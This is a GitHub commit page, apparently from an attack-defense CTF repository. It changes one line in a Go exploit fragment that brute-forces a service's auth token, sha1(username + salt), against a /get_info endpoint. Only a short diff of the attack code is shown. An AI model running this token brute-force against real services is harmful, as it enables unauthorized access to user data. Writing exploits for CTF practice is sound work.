Skip to content

Commit

Permalink
[werk] sploit token function fix
Browse files Browse the repository at this point in the history
  • Loading branch information
rkhapov committed Nov 7, 2023
1 parent 0a25a33 commit 4adf634
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion sploits/werk/werk.splot.go
Original file line number Diff line number Diff line change
Expand Up @@ -34,7 +34,7 @@ func bruteforce(username string, salts map[string]bool) {
for salt := range salts {
// attempt to /get_info with token = sha1(username + salt)

values := map[string]string{"username": username, "token": GetBaseToken(username + salt)}
values := map[string]string{"username": username, "token": GetBaseHash(username + salt)}
jsonData, err := json.Marshal(values)

resp, err := http.Get(fmt.Sprintf("http:%s/get_info", victimAddress), bytes.NewBuffer(jsonData))
Expand Down

0 comments on commit 4adf634

Please sign in to comment.